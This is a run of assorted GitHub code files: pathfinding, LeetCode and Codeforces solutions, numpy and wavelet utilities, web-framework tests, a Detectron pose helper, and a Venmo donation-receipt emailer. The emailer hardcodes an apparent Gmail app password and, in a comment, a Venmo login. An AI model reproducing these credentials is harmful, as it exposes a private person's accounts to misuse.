other.f\n\n def __repr__(self):\n return print(f'Posição:{self.posicao},Custo:{self.f}')\n\n\ndef retorna_caminho(no_atual):\n path = []\n current = no_atual\n while current is not None:\n path.append(current.posicao)\n current = current.pai\n return path[::-1]\n\n\ndef aestrela(sala, inicio, fim, diagonal=False):\n no_inicial = No(inicio)\n no_final = No(fim)\n lista_aberta = []\n lista_fechada = []\n heapq.heapify(lista_aberta)\n heapq.heappush(lista_aberta, no_inicial)\n it = 0\n max_it = (len(sala[0]) * len(sala) // 2)\n quad_ad = ((0, -1), (0, 1), (-1, 0), (1, 0),)\n if diagonal:\n quad_ad = ((0, -1), (0, 1), (-1, 0), (1, 0), (-1, -1), (-1, 1), (1, -1), (1, 1),)\n while len(lista_aberta) > 0:\n it += 1\n\n if it > max_it:\n return retorna_caminho(no_atual)\n\n no_atual = heapq.heappop(lista_aberta)\n lista_fechada.append(no_atual)\n\n if no_atual == no_final:\n return retorna_caminho(no_atual)\n\n filhos = []\n\n for new in quad_ad:\n\n posicao_no = (no_atual.posicao[0] + new[0], no_atual.posicao[1] + new[1])\n\n if posicao_no[0] > (len(sala) - 1) or posicao_no[0] < 0 or posicao_no[1] > (\n len(sala[len(sala) - 1]) - 1) or posicao_no[1] < 0:\n continue\n\n if sala[posicao_no[0]][posicao_no[1]] == 0:\n continue\n\n novo = No(posicao_no, no_atual)\n\n filhos.append(novo)\n\n # Loop through children\n for filho in filhos:\n # Child is on the closed list\n if len([closed_child for closed_child in lista_fechada if closed_child == filho]) > 0:\n continue\n\n # Create the f, g, and h values\n filho.g = no_atual.g + 1\n filho.h = ((filho.posicao[0] - no_final.posicao[0]) ** 2) + (\n (filho.posicao[1] - no_final.posicao[1]) ** 2) + exp(sala[filho.posicao[0]][filho.posicao[1]])\n filho.f = filho.g + filho.h\n\n # Child is already in the open list\n if len([open_node for open_node in lista_aberta if\n filho.posicao == open_node.posicao and filho.g > open_node.g]) > 0:\n continue\n\n\n heapq.heappush(lista_aberta, filho)\n\n warn(\"não foi possível achar o caminho\")\n return None\n\n\nsala = [[0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 10, 0, 1, 10, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0],\n [0, 10, 10, 10, 0, 1, 10, 10, 10, 10, 10, 10, 10, 10, 0, 1, 1, 1, 1, 0],\n [0, 10, 10, 10, 0, 1, 10, 10, 10, 10, 10, 10, 10, 10, 0, 1, 1, 1, 1, 0],\n [0, 10, 10, 10, 0, 1, 10, 10, 10, 10, 10, 10, 10, 10, 0, 1, 1, 1, 1, 0],\n [0, 10, 10, 10,10, 1, 10, 10, 10, 10, 10, 10, 10, 10, 0, 1, 1, 1, 1, 0],\n [0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0],\n [0, 1, 1, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 1, 1, 1, 0],\n [0, 1, 1, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 1, 1, 1, 0],\n [0, 1, 1, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 1, 1, 1, 0],\n [0, 1, 1, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 1, 1, 1, 0],\n [0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0],\n [0, 0, 0, 7, 7, 7, 7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 7, 7, 7, 0],\n [0, 0, 0, 7, 7, 7, 7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 7, 0, 5, 0],\n [0, 7, 7, 7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 7, 0, 5, 0],\n [0, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 0],\n [0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]]\n\nstart = (0, 4)\nend = (13, 18)\nprint(aestrela(sala, start, end, True))","repo_name":"lvsdvale/ProjetoCondutor","sub_path":"Problema_2/Problema_2.py","file_name":"Problema_2.py","file_ext":"py","file_size_in_byte":4105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"37269138247","text":"\"\"\"\nhttps://leetcode.com/explore/featured/card/top-interview-questions-easy/93/linked-list/773/\n\nGiven head, the head of a linked list, determine if the linked list has a cycle in it.\nThere is a cycle in a linked list if there is some node in the list that can be reached again by continuously following\nthe next pointer. Internally, pos is used to denote the index of the node that tail's next pointer is connected to.\nNote that pos is not passed as a parameter.\n\nReturn true if there is a cycle in the linked list. Otherwise, return false.\n\nExample 1:\nInput: head = [3,2,0,-4], pos = 1\nOutput: true\nExplanation: There is a cycle in the linked list, where the tail connects to the 1st node (0-indexed).\n\nExample 2:\nInput: head = [1,2], pos = 0\nOutput: true\nExplanation: There is a cycle in the linked list, where the tail connects to the 0th node.\n\nExample 3:\nInput: head = [1], pos = -1\nOutput: false\nExplanation: There is no cycle in the linked list.\n\nFollow up: Can you solve it using O(1) (i.e. constant) memory?\n\"\"\"\n\n\n# Definition for singly-linked list.\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\n\ndef has_cycle_dumb(head: ListNode) -> bool:\n node = head\n while node is not None:\n if node.val is None:\n return True\n else:\n node.val = None\n node = node.next\n\n return False\n\n\ndef has_cycle_smart(head: ListNode) -> bool:\n fast = head\n slow = head\n while fast is not None:\n if fast.next is None or fast.next.next is None:\n return False\n\n fast = fast.next.next\n slow = slow.next\n\n if slow == fast:\n return True\n\n return False\n\n\ndef has_cycle(head: ListNode) -> bool:\n return has_cycle_smart(head)\n","repo_name":"m7onov/leetcode","sub_path":"linked_list/does_contain_cycle.py","file_name":"does_contain_cycle.py","file_ext":"py","file_size_in_byte":1768,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"74250100556","text":"'''\nstep03_reshape 관련문제\n문) 다음과 같이 단계별로 자료구조를 생성하시오.\n 단계1 : 1~84 정수를 이용하여 벡터 생성\n 단계2 : 벡터를 대상으로 7x3x4 구조의 3차원 배열로 모양 변경\n 단계3 : 3차원 배열을 대상으로 (행,면,열) 축의 순서로 구조 변경\n'''\n\nimport numpy as np\n\n# 1. vector 생성 \nnum1 = np.arange(1,85)\nnum1.shape # (84,)\nprint(num1)\n\n# 2. 3차원 배열 \nnum2 = num1.reshape(7,3,4)\nnum2.shape # (7, 3, 4)\nprint(num2)\n\n# 3. transpose(행,면,열)\n# (면0,행1,열2) -> (행1,면0,열2)\nnum3 = num2.transpose(1,0,2)\nnum3.shape # (3, 7, 4)\nprint(num3)\n\n\n","repo_name":"eatchu/Python-Statistical-analysis","sub_path":"chap04_Numpy/exams/exam03.py","file_name":"exam03.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"28"} +{"seq_id":"14421725546","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon May 24 16:34:22 2021\n\n@author: hienpham\n\"\"\"\n\n\nimport os\nimport math\nimport sys\nfrom collections import Counter\n\nparse_input = lambda: sys.stdin.readline().rstrip(\"\\r\\n\")\n\n\n\ndef func(arr):\n n = len(arr)\n \n min_val = min(arr)\n counts = Counter(arr)\n max_del = n - counts[min_val]\n return max_del\n\n\ndef main():\n n_cases = int(parse_input())\n for i in range(n_cases):\n n = int(parse_input())\n arr = [int(i) for i in parse_input().split()]\n print(func(arr))\n \nif __name__ == \"__main__\":\n main()","repo_name":"hienpham15/Codeforces_competitions","sub_path":"Codeforces_round722/A.py","file_name":"A.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"18752655140","text":"from __future__ import division, print_function, absolute_import\nfrom math import ceil, log\nimport numpy as np\nfrom pyNpOperator import ZeroPad\nfrom pyOperator import Operator\nfrom pyVector import *\n\ntry:\n import pywt\nexcept ModuleNotFoundError:\n import subprocess\n import sys\n subprocess.call([sys.executable, \"-m\", \"pip\", \"install\", \"PyWavelets\"])\n import pywt\n\n\nclass DWT2D(Operator):\n \"\"\"Two dimensional Wavelet operator.\n Apply 2D-Wavelet Transform along two directions ``dirs`` of a\n multi-dimensional array of size ``dims``.\n Note that the Wavelet operator is an overload of the ``pywt``\n implementation of the wavelet transform. Refer to\n https://pywavelets.readthedocs.io for a detailed description of the\n input parameters.\n Parameters\n ----------\n dims : :obj:`tuple`\n Number of samples for each dimension\n dirs : :obj:`tuple`, optional\n Direction along which FFT is applied.\n wavelet : :obj:`str`, optional\n Name of wavelet type. Use :func:`pywt.wavelist(kind='discrete')` for\n a list of\n available wavelets.\n level : :obj:`int`, optional\n Number of scaling levels (must be >=0).\n dtype : :obj:`str`, optional\n Type of elements in input array.\n Attributes\n ----------\n shape : :obj:`tuple`\n Operator shape\n explicit : :obj:`bool`\n Operator contains a matrix that can be solved explicitly\n (True) or not (False)\n Raises\n ------\n ModuleNotFoundError\n If ``pywt`` is not installed\n ValueError\n If ``wavelet`` does not belong to ``pywt.families``\n Notes\n -----\n The Wavelet operator applies the 2-dimensional multilevel Discrete\n Wavelet Transform (DWT2) in forward mode and the 2-dimensional multilevel\n Inverse Discrete Wavelet Transform (IDWT2) in adjoint mode.\n \"\"\"\n def __init__(self, dims, dirs=(0, 1), wavelet='haar',\n level=1, dtype='float64'):\n if pywt is None:\n raise ModuleNotFoundError('The wavelet operator requires '\n 'the pywt package t be installed. '\n 'Run \"pip install PyWavelets\" or '\n '\"conda install pywavelets\".')\n _checkwavelet(wavelet)\n\n # define padding for length to be power of 2\n ndimpow2 = [max(2 ** ceil(log(dims[dir], 2)), 2 ** level)\n for dir in dirs]\n pad = [(0, 0)] * len(dims)\n for i, d in enumerate(dirs):\n pad[d] = (0, ndimpow2[i] - dims[d])\n self.pad = ZeroPad(dims, pad)\n self.dims = dims\n self.dirs = dirs\n self.dimsd = list(dims)\n for i, d in enumerate(dirs):\n self.dimsd[d] = ndimpow2[i]\n\n # apply transform once again to find out slices\n _, self.sl = \\\n pywt.coeffs_to_array(pywt.wavedec2(np.ones(self.dimsd),\n wavelet=wavelet,\n level=level,\n mode='periodization',\n axes=self.dirs),\n axes=self.dirs)\n self.wavelet = wavelet\n self.waveletadj = _adjointwavelet(wavelet)\n self.level = level\n self.shape = (int(np.prod(self.dimsd)), int(np.prod(self.dims)))\n self.dtype = np.dtype(dtype)\n self.explicit = False\n\n def _matvec(self, x):\n x = self.pad.matvec(x)\n x = np.reshape(x, self.dimsd)\n y = pywt.coeffs_to_array(pywt.wavedec2(x, wavelet=self.wavelet,\n level=self.level,\n mode='periodization',\n axes=self.dirs),\n axes=(self.dirs))[0]\n return y.ravel()\n\n def _rmatvec(self, x):\n x = np.reshape(x, self.dimsd)\n x = pywt.array_to_coeffs(x, self.sl, output_format='wavedec2')\n y = pywt.waverec2(x, wavelet=self.waveletadj, mode='periodization',\n axes=self.dirs)\n y = self.pad.rmatvec(y.ravel())\n return y\n\n\ndef _checkwavelet(wavelet):\n \"\"\"Check that wavelet belongs to pywt.wavelist\n \"\"\"\n wavelist = pywt.wavelist(kind='discrete')\n if wavelet not in wavelist:\n raise ValueError(\"'%s' not in family set = %s\" % (wavelet, wavelist))\n\n\ndef _adjointwavelet(wavelet):\n \"\"\"Define adjoint wavelet\n \"\"\"\n waveletadj = wavelet\n if 'rbio' in wavelet:\n waveletadj = 'bior' + wavelet[-3:]\n elif 'bior' in wavelet:\n waveletadj = 'rbio' + wavelet[-3:]\n return waveletadj\n\n\nif __name__ == '__main__':\n \n x = vectorIC(np.random.rand(301, 601))\n W = DWT2D(x, dirs=(0, 1), wavelet='haar', level=1)\n \n print(0)\n","repo_name":"nmbader/seppef","sub_path":"code/external/sep-ioLibs/external/genericIO/external/sepVector/external/python-solver/GenericSolver/python/pyWavelet.py","file_name":"pyWavelet.py","file_ext":"py","file_size_in_byte":4892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"4911639346","text":"import os\r\nimport shutil\r\n\r\npath = os.getcwd()+'/'\r\n\r\nnames = os.listdir(path)\r\n\r\nfolder_name = ['Images','Music']\r\n\r\nfor x in range(0,2):\r\n if not os.path.exists(path+folder_name[x]):\r\n os.makedirs(path+folder_name[x])\r\nfor files in names:\r\n if \".jpg\" in files and not os.path.exists(path+'Image/'+files) or \".png\" or \"JPG\":\r\n shutil.move(path+files , path+'Images/'+files)\r\n if \".mp3\" in files and not os.path.exists(path+'Music/'+files):\r\n shutil.move(path+files , path+'Music/'+files)\r\n","repo_name":"vishalnair16/File-Sorter","sub_path":"file sorter/filesorter.py","file_name":"filesorter.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"41813040514","text":"import os\r\nimport re\r\nfiles = os.listdir('content')\r\nfd_header = open('header.html', 'r')\r\nheader = fd_header.read()\r\nfd_header.close()\r\n\r\nfd_tail = open('tail.html', 'r')\r\ntail = fd_tail.read()\r\nfd_tail.close()\r\nfor file in files:\r\n if not os.path.isdir(file):\r\n fd_content = open('content/' + file, 'r')\r\n content = fd_content.read()\r\n fd_content.close()\r\n file_name = file[7:]#'content' is delete\r\n with open(file_name, 'w') as fp:\r\n fp.write(header)\r\n fp.write(content)\r\n fp.write(tail)\r\n","repo_name":"HUSTMCNC/HUSTMCNC.github.io","sub_path":"news/generate_html.py","file_name":"generate_html.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"23887491067","text":"\"\"\" the __init__ in the package file \"\"\"\n\nfrom functools import partial\n\nimport mock\n\nfrom jars import BasicStorage\nfrom bushn import Node\n\n\nclass BinaryTreeGetter:\n \"\"\" to enable testing with less boilerplate this function is a substitute for\n get_tree_children generating a binary tree with depth `depth`\"\"\"\n\n def __init__(self, depth):\n self.depth = depth\n\n def __call__(self, path):\n assert len(path) < self.depth + 1, 'oh snap, there is nothing'\n\n return [('a', {'is_dir': len(path) < self.depth}),\n ('b', {'is_dir': len(path) < self.depth}),\n ('c', {'is_dir': False})]\n\n\ndef test_get_tree_one_node():\n \"\"\" tests adding one single node \"\"\"\n storage_mock = mock.Mock()\n storage_mock.get_tree_children = mock.Mock(\n return_value=[('hello', {'is_dir': False})])\n\n storage_mock.filter_tree = Node(name=None)\n\n tree = BasicStorage.get_tree(storage_mock)\n\n assert tree.get_node(['hello']).props == {'is_dir': False}\n\n\ndef test_get_tree_two_children():\n \"\"\" tests adding a binary tree with the depth of 4 \"\"\"\n # this enabled a recursive call of get_tree\n storage_mock = mock.Mock(spec=BasicStorage)\n storage_mock.get_tree = partial(BasicStorage.get_tree, storage_mock)\n\n storage_mock.filter_tree = Node(name=None)\n\n storage_mock.get_tree_children = mock.Mock(side_effect=BinaryTreeGetter(2))\n\n tree = BasicStorage.get_tree(storage_mock)\n\n assert tree.get_node(['a']).props == {'is_dir': True}\n assert tree.get_node(['b']).props == {'is_dir': True}\n assert tree.get_node(['a', 'a']).props == {'is_dir': True}\n assert tree.get_node(['a', 'a', 'a']).props == {'is_dir': False}\n\n\ndef test_get_tree_filter():\n \"\"\" tests the tree with a a filter set on selected_sync_dirs \"\"\"\n # this enabled a recursive call of get_tree\n storage_mock = mock.Mock(spec=BasicStorage)\n storage_mock.get_tree = partial(BasicStorage.get_tree, storage_mock)\n\n storage_mock.get_tree_children = mock.Mock(side_effect=BinaryTreeGetter(2))\n\n storage_mock.filter_tree = Node(name=None)\n storage_mock.filter_tree.add_child('a').add_child('a').add_child('a')\n\n tree = BasicStorage.get_tree(storage_mock)\n\n # b should be filtered since it is a directory\n assert not tree.has_child('b')\n assert not tree.get_node(['a']).has_child('b')\n\n # c should not be filtered since it is a file in a flat-observed directory\n assert tree.has_child('c')\n assert tree.get_node(['a', 'c'])\n assert tree.get_node(['a', 'a']).has_child('a')\n assert tree.get_node(['a', 'a']).has_child('b')\n assert tree.get_node(['a', 'a']).has_child('c')\n","repo_name":"crosscloudio/jars","sub_path":"tests/test_storage_init.py","file_name":"test_storage_init.py","file_ext":"py","file_size_in_byte":2654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"22537390906","text":"import argparse\nparser = argparse.ArgumentParser()\nparser.add_argument(\"model\")\nparser.add_argument(\"out\")\nargs = parser.parse_args()\n\nimport coremltools\ncoreml_model = coremltools.converters.keras.convert(args.model,\n input_names = 'image',\n image_input_names = 'image',\n image_scale = 0.00392156863)\n\nimport os\ncoreml_model.save(os.path.join(args.out, 'SRCNN.mlmodel'))\n\n","repo_name":"DeNA/SRCNNKit","sub_path":"script/coreml_convert.py","file_name":"coreml_convert.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"fi","doc_type":"code","stars":385,"dataset":"github-code","pt":"28"} +{"seq_id":"24570124463","text":"import inspect\nimport typing as t\n\nimport pytest\nfrom sanic.request import Request\n\nfrom sanic_boom import Component, Resolver\nfrom sanic_boom.exceptions import InvalidComponent, NoApplicationFound\n\n\nclass JSONBody(t.Generic[t.T_co]):\n pass\n\n\nclass JSONBodyComponent(Component): # noqa this is a very simple example\n def resolve(self, param: inspect.Parameter) -> bool:\n if hasattr(param.annotation, \"__origin__\"):\n return param.annotation.__origin__ == JSONBody\n return False\n\n async def get(self, request: Request, param: inspect.Parameter) -> object:\n return {\n \"param_type\": param.annotation.__args__[0],\n \"param_name\": param.name,\n }\n\n\nclass FakeComponent(Component): # noqa this is a very simple example\n def resolve(self, param: inspect.Parameter) -> bool:\n return False\n\n async def get(self, request):\n return {}\n\n\n# --------------------------------------------------------------------------- #\n# the perfect world test scenario\n# --------------------------------------------------------------------------- #\n\n\n@pytest.mark.asyncio\nasync def test_resolver(some_app, sanic_request):\n async def hello(request, input: JSONBody[str], age: int, accepted: bool):\n return {\n \"request\": request,\n \"input\": input,\n \"age\": age,\n \"accepted\": accepted,\n }\n\n some_app.add_component(JSONBodyComponent)\n\n prefetched = {\"age\": \"22\", \"accepted\": \"ok\"}\n ret = await some_app.resolver.resolve(\n request=sanic_request, func=hello, prefetched=prefetched\n )\n\n assert type(ret.get(\"age\")) == int\n assert ret.get(\"age\") == 22\n assert type(ret.get(\"accepted\")) == bool\n assert ret.get(\"accepted\") is True\n assert ret.get(\"input\").get(\"param_name\") == \"input\"\n assert ret.get(\"input\").get(\"param_type\") == str\n assert ret.get(\"request\") == sanic_request\n\n ret = await hello(**ret)\n\n assert type(ret.get(\"age\")) == int\n assert ret.get(\"age\") == 22\n assert type(ret.get(\"accepted\")) == bool\n assert ret.get(\"accepted\") is True\n assert ret.get(\"input\").get(\"param_name\") == \"input\"\n assert ret.get(\"input\").get(\"param_type\") == str\n assert ret.get(\"request\") == sanic_request\n\n # testing resolver \"cache\"\n ret = await some_app.resolver.resolve(\n request=sanic_request, func=hello, prefetched=prefetched\n )\n assert ret is not None\n\n\n# --------------------------------------------------------------------------- #\n# the real world test scenarios\n# --------------------------------------------------------------------------- #\n\n\n@pytest.mark.asyncio\nasync def test_resolver_no_components(some_app, sanic_request):\n async def hello(request, input: JSONBody[str]): # noqa\n pass\n\n with pytest.raises(ValueError):\n await some_app.resolver.resolve(request=sanic_request, func=hello)\n\n\n@pytest.mark.asyncio\nasync def test_resolver_fake_component(some_app, sanic_request):\n async def hello(request, input: JSONBody[str]): # noqa\n pass\n\n some_app.add_component(FakeComponent) # you shall not pass\n\n with pytest.raises(ValueError):\n await some_app.resolver.resolve(request=sanic_request, func=hello)\n\n\ndef test_resolver_no_app():\n sentinel = object()\n resolver = Resolver()\n\n assert resolver.app is None\n\n with pytest.raises(NoApplicationFound):\n resolver.add_component(JSONBodyComponent)\n\n resolver.app = sentinel\n resolver.add_component(JSONBodyComponent)\n\n assert resolver.app == sentinel\n\n\ndef test_resolver_wrong_component():\n resolver = Resolver(object())\n\n with pytest.raises(InvalidComponent):\n resolver.add_component(object)\n\n\n@pytest.mark.asyncio\nasync def test_resolver_no_function(sanic_request):\n resolver = Resolver(object())\n resolver.add_component(JSONBodyComponent)\n\n with pytest.raises(TypeError):\n await resolver.resolve(request=sanic_request, func={})\n","repo_name":"vltr/sanic-boom","sub_path":"tests/test_components.py","file_name":"test_components.py","file_ext":"py","file_size_in_byte":3978,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"28"} +{"seq_id":"17185617075","text":"import pytest\nfrom scipy.signal import convolve as scipy_convolve\nimport torch\n\nfrom kernel.utils import torch_directconvolve, torch_fftconvolve\n\nTx, Ty, N, K = 1000, 120, 5, 3\nTout = Tx + Ty - 1\n\n@pytest.fixture\ndef example_convolution_inputs_2d():\n x = torch.randn(Tx, N).double()\n y = torch.exp(-torch.arange(Ty) / 10)[:, None].double()\n return x, y\n\n@pytest.fixture\ndef example_convolution_inputs_3d():\n tau = 10 + 90 * torch.rand(K)\n x = torch.randn(Tx, N, 1).double()\n y = torch.exp(-torch.arange(Ty)[:, None] / tau[None, :]).unsqueeze(1).double()\n return x, y\n\ndef test_convolve2d_shape(example_convolution_inputs_2d):\n x, y = example_convolution_inputs_2d\n torch_dirconv = torch_directconvolve(x, y)\n torch_fftconv = torch_fftconvolve(x, y)\n assert torch_dirconv.shape == (Tout, N)\n assert torch_fftconv.shape == (Tout, N)\n\ndef test_convolve3d_shape(example_convolution_inputs_3d):\n x, y = example_convolution_inputs_3d\n torch_dirconv = torch_directconvolve(x, y)\n torch_fftconv = torch_fftconvolve(x, y)\n assert torch_dirconv.shape == (Tout, N, K)\n assert torch_fftconv.shape == (Tout, N, K)\n\n@pytest.mark.parametrize(\n \"inputs\",\n [\n \"example_convolution_inputs_2d\",\n 'example_convolution_inputs_3d'\n ],\n)\ndef test_torch_convolve_matches_scipy_direct_convolve(inputs, request):\n x, y = request.getfixturevalue(inputs)\n scipy_conv = torch.from_numpy(scipy_convolve(x, y, mode='full', method='direct'))\n torch_dirconv = torch_directconvolve(x, y)\n torch_fftconv = torch_fftconvolve(x, y)\n assert torch.all(torch.isclose(torch_dirconv, scipy_conv))\n assert torch.all(torch.isclose(torch_fftconv, scipy_conv))\n\n# def test_delta_kernels():\n# pass\n \nif __name__ == '__main__':\n pytest.main()\n","repo_name":"diegoarri91/convolution-kernels","sub_path":"tests/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1797,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"15080885840","text":"from venmo_api import Client\n\ndef email(name, senderEmail):\n email = \"\"\n amount = 0\n id = 0\n\n def transactioninfo():\n global email\n global amount\n global id\n #access_token = Client.get_access_token(username='rudrappandya@gmail.com', password='SwordsAMillion12')\n access_token = \"\"\n print(\"Your token (please save):\", access_token)\n\n client = Client(access_token=access_token)\n\n user1 = client.user.get_my_profile()\n print(user1)\n\n transactions = client.user.get_user_transactions(user_id='3781626462995850393')\n while transactions:\n for transaction in transactions:\n print(transaction)\n amount = str(transaction).split(\",\")[6]\n email = str(transaction).split(\",\")[-18]\n id = str(transaction).split(\",\")[0]\n\n\n print(\"\\n\" + \"=\" * 15 + \"\\n\\tNEXT PAGE\\n\" + \"=\" * 15 + \"\\n\")\n transactions = transactions.get_next_page()\n\n # client.log_out(\"Bearer\", access_token)\n transactioninfo()\n\n import smtplib, ssl\n\n smtp_server = 'smtp.gmail.com' \n port = 465\n\n sender = 'rkrao1144@gmail.com'\n password = \"hcduyeqcfpgbfslv\"\n\n receiver = senderEmail\n message = f\"\"\"\\\n From: {sender}\n To: {receiver}\n Subject: Project HeadSpace and Timing Donation\n\n {email}\\n\n Donation: {amount}\\n\n From: {name}\\n\n EOI: 83-3998869\\n\n\n Basic Info About BH&T: PHAT began operating in 2017 and officially began operating as a 501(C)(3) in 2019. The organization was founded by Eric Peterson after a fellow teammate took his own life after multiple tours overseas. As an organization, we believe that we live in a community that supports their veterans but may not know how to show it, and we have veterans that need that support but may not know how to ask. Our three focuses are: Veterans Advocacy, Veterans Outreach and Veterans Village\n\n Thank you for Donating!\n\n \"\"\"\n\n\n context = ssl.create_default_context()\n\n with smtplib.SMTP_SSL(smtp_server, port, context = context) as server:\n server.login(sender, password)\n server.sendmail(sender, receiver, message)\n return message\n","repo_name":"MasterMeep/JHHS-Hackathon","sub_path":"venmo.py","file_name":"venmo.py","file_ext":"py","file_size_in_byte":2214,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"28"} +{"seq_id":"38649011407","text":"import logging\n\nimport cv2\nfrom detectron2 import model_zoo\nfrom detectron2.engine import DefaultPredictor\nfrom detectron2.config import get_cfg\nfrom detectron2.data import MetadataCatalog\nfrom detectron2.utils.visualizer import Visualizer\nimport numpy as np\nimport torch\n\nfrom football_detection import utils\n\n\nLOG = logging.getLogger(__name__)\n\n\nclass DetectronPose(object):\n def __init__(self, model_path):\n cfg = get_cfg()\n # add project-specific config (e.g., TensorMask) here if you're not running a model in detectron2's core library\n cfg.merge_from_file(model_zoo.get_config_file(\"COCO-Keypoints/keypoint_rcnn_R_101_FPN_3x.yaml\"))\n cfg.MODEL.ROI_HEADS.SCORE_THRESH_TEST = 0.5 # set threshold for this model\n if not torch.cuda.is_available():\n cfg.MODEL.DEVICE = 'cpu'\n\n cfg.MODEL.WEIGHTS = model_path\n self.cfg = cfg\n LOG.info(f'Loading detectron pose model from {model_path}...')\n self.predictor = DefaultPredictor(cfg)\n LOG.info('Done.')\n\n def predict(self, img):\n outputs = self.predictor(img)\n fields = outputs['instances'].get_fields()\n for k, v in fields.items():\n if hasattr(v, 'tensor'):\n fields[k] = v.tensor.detach().cpu().numpy()\n else:\n fields[k] = v.detach().cpu().numpy()\n\n return fields\n\n def draw_predictions(self, img_rgb, predictions):\n v = Visualizer(img_rgb, MetadataCatalog.get(self.cfg.DATASETS.TRAIN[0]))\n labels = [str(p) for p in predictions.get('scores', [])]\n v.overlay_instances(\n boxes=predictions.get('pred_boxes'),\n labels=labels if labels else None,\n keypoints=predictions.get('pred_keypoints'),\n )\n return v.get_output().get_image()\n\n @staticmethod\n def get_leg_bounds(keypoints):\n right_leg = [13, 15]\n left_leg = [14, 16]\n pairs = [left_leg, right_leg]\n if isinstance(keypoints, dict):\n keypoints = keypoints['pred_keypoints']\n\n boxes = []\n for instance in keypoints:\n for pair in pairs:\n point1_xy = instance[pair[0]]\n point2_xy = instance[pair[1]]\n if point1_xy[0] > point2_xy[0]:\n point1_xy[0], point2_xy[0] = point2_xy[0], point1_xy[0]\n if point1_xy[1] > point2_xy[1]:\n point1_xy[1], point2_xy[1] = point2_xy[1], point1_xy[1]\n boxes.append((point1_xy[0], point1_xy[1], point2_xy[0], point2_xy[1]))\n\n return np.stack(boxes).astype(np.int)\n\n @staticmethod\n def expand_box(box):\n w = abs(box[2] - box[0])\n h = abs(box[3] - box[1])\n max_dim = max(w, h)\n new_box = [box[0] - max_dim, box[1] - max_dim, box[2] + max_dim, box[3] + max_dim]\n return np.stack(new_box)\n\n @classmethod\n def intersects_with_expanded_legs(cls, keypoints, target_box):\n leg_boxes = cls.get_leg_bounds(keypoints)\n for box in leg_boxes:\n expanded_box = cls.expand_box(box)\n if utils.box_intersection(expanded_box, target_box) > 0:\n return True\n\n return False\n\n\nif __name__ == '__main__':\n import sys\n path = sys.argv[1]\n img_path = sys.argv[2]\n logging.basicConfig(\n format='%(asctime)s %(levelname)-5s %(name)-10s [-] %(message)s',\n level='INFO'\n )\n logging.root.setLevel(logging.INFO)\n det = DetectronPose(path)\n im = cv2.imread(img_path)\n LOG.info('Run predict...')\n detections = det.predict(im)\n LOG.info('Done predict.')\n new_im = det.draw_predictions(im[:, :, ::-1], detections)\n ball_box = [68, 495, 145, 569]\n intersects = det.intersects_with_expanded_legs(detections, ball_box)\n leg_boxes = det.get_leg_bounds(detections)\n for box in leg_boxes:\n cv2.rectangle(new_im, (box[0], box[1]), (box[2], box[3]), (250, 0, 0), lineType=cv2.LINE_AA)\n\n cv2.rectangle(new_im, (ball_box[0], ball_box[1]), (ball_box[2], ball_box[3]), (0, 250, 0), lineType=cv2.LINE_AA)\n print(f'Ball intersects with legs: {\"yes\" if intersects else \"no\"}')\n cv2.imshow('Img', new_im[:, :, ::-1])\n cv2.waitKey(0)\n","repo_name":"kuberlab-catalog/snorkel-examples","sub_path":"football_detection/detectron_pose.py","file_name":"detectron_pose.py","file_ext":"py","file_size_in_byte":4217,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"73073553356","text":"from sys import stdin\n\nN = int(stdin.readline().strip())\nC = int(stdin.readline().strip())\n\n# 컴퓨터 별 리스트 생성\ntotal = [[] for _ in range(N)]\n\nfor i in range(C):\n a, b = map(int, stdin.readline().split())\n total[a-1].append(b)\n total[b-1].append(a)\n\nstack = total[0] # 1번 컴퓨터와 직간접적으로 연결된, 확인이 필요한 컴퓨터들\nvisited = [] # 감염여부 확인된 컴퓨터들\n\nwhile stack:\n k = stack.pop(-1)\n # 확인된 컴퓨터는 pass(아래 조건문으로 불필요한 확인x)\n if k in visited:\n continue\n visited.append(k)\n\n # 연결된 컴퓨터를 확인, 추가로 연결된 컴퓨터가 있으면 stack에 추가\n for i in total[k-1]:\n if 